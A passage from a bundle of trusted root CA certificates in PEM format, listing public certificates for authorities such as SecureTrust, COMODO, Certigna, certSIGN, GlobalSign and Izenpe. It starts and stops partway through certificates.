44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOf
Mke6UiI0HTJ6CVanfCU2qT1L2sCCbwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6m
Gu6uLftIdxf+u+yvGPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxp
mo/a77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCChdiDyyJk
vC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid392qgQmwLOM7XdVAyksLf
KzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEppLd6leNcG2mqeSz53OiATIgHQv2ieY2Br
NU0LbbqhPcCT4H8js1WtciVORvnSFu+wZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6Lqj
viOvrv1vA+ACOzB2+httQc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ
-----END CERTIFICATE-----

SecureTrust CA
==============
-----BEGIN CERTIFICATE-----
MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBIMQswCQYDVQQG
EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xFzAVBgNVBAMTDlNlY3VyZVRy
dXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIzMTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAe
BgNVBAoTF1NlY3VyZVRydXN0IENvcnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCC
ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQX
OZEzZum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO0gMdA+9t
DWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIaowW8xQmxSPmjL8xk037uH
GFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b
01k/unK8RCSc43Oz969XL0Imnal0ugBS8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmH
ursCAwEAAaOBnTCBmjATBgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/
BAUwAwEB/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCegJYYj
aHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ
KoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt36Z3q059c4EVlew3KW+JwULKUBRSu
SceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHf
mbx8IVQr5Fiiu1cprp6poxkmD5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZ
nMUFdAvnZyPSCPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR
3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE=
-----END CERTIFICATE-----

Secure Global CA
================
-----BEGIN CERTIFICATE-----
MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQG
EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBH
bG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkxMjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEg
MB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwg
Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jx
YDiJiQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa/FHtaMbQ
bqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJjnIFHovdRIWCQtBJwB1g
8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnIHmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYV
HDGA76oYa8J719rO+TMg1fW9ajMtgQT7sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi
0XPnj3pDAgMBAAGjgZ0wgZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud
EwEB/wQFMAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCswKaAn
oCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsGAQQBgjcVAQQDAgEA
MA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0LURYD7xh8yOOvaliTFGCRsoTciE6+
OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXOH0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cn
CDpOGR86p1hcF895P4vkp9MmI50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/5
3CYNv6ZHdAbYiNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc
f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW
-----END CERTIFICATE-----

COMODO Certification Authority
==============================
-----BEGIN CERTIFICATE-----
MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCBgTELMAkGA1UE
BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG
A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNVBAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1
dGhvcml0eTAeFw0wNjEyMDEwMDAwMDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEb
MBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFD
T01PRE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0aG9yaXR5
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3UcEbVASY06m/weaKXTuH
+7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI2GqGd0S7WWaXUF601CxwRM/aN5VCaTww
xHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV
4EajcNxo2f8ESIl33rXp+2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA
1KGzqSX+DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5OnKVI
rLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW/zAOBgNVHQ8BAf8E
BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6gPKA6hjhodHRwOi8vY3JsLmNvbW9k
b2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOC
AQEAPpiem/Yb6dc5t3iuHXIYSdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CP
OGEIqB6BCsAvIC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/
RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmc
IGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5ddBA6+C4OmF4O5MBKgxTMVBbkN
+8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IBZQ==
-----END CERTIFICATE-----

COMODO ECC Certification Authority
==================================
-----BEGIN CERTIFICATE-----
MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC
R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE
ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix
GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR
Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo
b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X
4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni
wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E
BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG
FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA
U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY=
-----END CERTIFICATE-----

Certigna
========
-----BEGIN CERTIFICATE-----
MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw
EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3
MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI
Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q
XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH
GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p
ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg
DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf
Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ
tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ
BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J
SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA
hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+
ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu
PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY
1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw
WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg==
-----END CERTIFICATE-----

ePKI Root Certification Authority
=================================
-----BEGIN CERTIFICATE-----
MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG
EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg
Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx
MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq
MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs
IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi
lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv
qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX
12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O
WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+
ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao
lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/
vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi
Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi
MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH
ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0
1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq
KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV
xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP
NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r
GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE
xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx
gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy
sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD
BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw=
-----END CERTIFICATE-----

certSIGN ROOT CA
================
-----BEGIN CERTIFICATE-----
MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD
VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa
Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE
CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I
JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH
rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2
ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD
0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943
AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B
Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB
AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8
SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0
x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt
vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz
TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD
-----END CERTIFICATE-----

NetLock Arany (Class Gold) Főtanúsítvány
========================================
-----BEGIN CERTIFICATE-----
MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G
A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610
dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB
cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx
MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO
ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6
c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu
0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw
/HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk
H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw
fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1
neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB
BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW
qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta
YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC
bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna
NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu
dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E=
-----END CERTIFICATE-----

Microsec e-Szigno Root CA 2009
==============================
-----BEGIN CERTIFICATE-----
MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER
MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv
c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o
dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE
BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt
U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA
fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG
0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA
pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm
1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC
AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf
QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE
FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o
lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX
I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775
tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02
yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi
LXpUq3DDfSJlgnCW
-----END CERTIFICATE-----

GlobalSign Root CA - R3
=======================
-----BEGIN CERTIFICATE-----
MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv
YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh
bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT
aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln
bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt
iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ
0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3
rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl
OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2
xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7
lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8
EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E
bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18
YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r
kpeDMdmztcpHWD9f
-----END CERTIFICATE-----

Izenpe.com
==========
-----BEGIN CERTIFICATE-----
MIIF8TCCA9mgAwIBAgIQALC3WhZIX7/hy/WL1xnmfTANBgkqhkiG9w0BAQsFADA4MQswCQYDVQQG
EwJFUzEUMBIGA1UECgwLSVpFTlBFIFMuQS4xEzARBgNVBAMMCkl6ZW5wZS5jb20wHhcNMDcxMjEz
MTMwODI4WhcNMzcxMjEzMDgyNzI1WjA4MQswCQYDVQQGEwJFUzEUMBIGA1UECgwLSVpFTlBFIFMu
QS4xEzARBgNVBAMMCkl6ZW5wZS5jb20wggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDJ
03rKDx6sp4boFmVqscIbRTJxldn+EFvMr+eleQGPicPK8lVx93e+d5TzcqQsRNiekpsUOqHnJJAK
ClaOxdgmlOHZSOEtPtoKct2jmRXagaKH9HtuJneJWK3W6wyyQXpzbm3benhB6QiIEn6HLmYRY2xU
+zydcsC8Lv/Ct90NduM61/e0aL6i9eOBbsFGb12N4E3GVFWJGjMxCrFXuaOKmMPsOzTFlUFpfnXC
PCDFYbpRR6AgkJOhkEvzTnyFRVSa0QUmQbC1TR0zvsQDyCV8wXDbO/QJLVQnSKwv4cSsPsjLkkxT
OTcj7NMB+eAJRE1NZMDhDVqHIrytG6P+JrUV86f8hBnp7KGItERphIPzidF0BqnMC9bC3ieFUCbK
F7jJeodWLBoBHmy+E60QrLUk9TiRodZL2vG70t5HtfG8gfZZa88ZU+mNFctKy6lvROUbQc/hhqfK
0GqfvEyNBjNaooXlkDWgYlwWTvDjovoDGrQscbNYLN57C9saD+veIR8GdwYDsMnvmfzAuU8Lhij+
0rnq49qlw0dpEuDb8PYZi+17cNcC1u2HGCgsBCRMd+RIihrGO5rUD8r6ddIBQFqNeb+Lz0vPqhbB
leStTIo+F5HUsWLlguWABKQDfo2/2n+iD5dPDNMN+9fR5XJ+HMh3/1uaD7euBUbl8agW7EekFwID
AQABo4H2MIHzMIGwBgNVHREEgagwgaWBD2luZm9AaXplbnBlLmNvbaSBkTCBjjFHMEUGA1UECgw+
SVpFTlBFIFMuQS4gLSBDSUYgQTAxMzM3MjYwLVJNZXJjLlZpdG9yaWEtR2FzdGVpeiBUMTA1NSBG
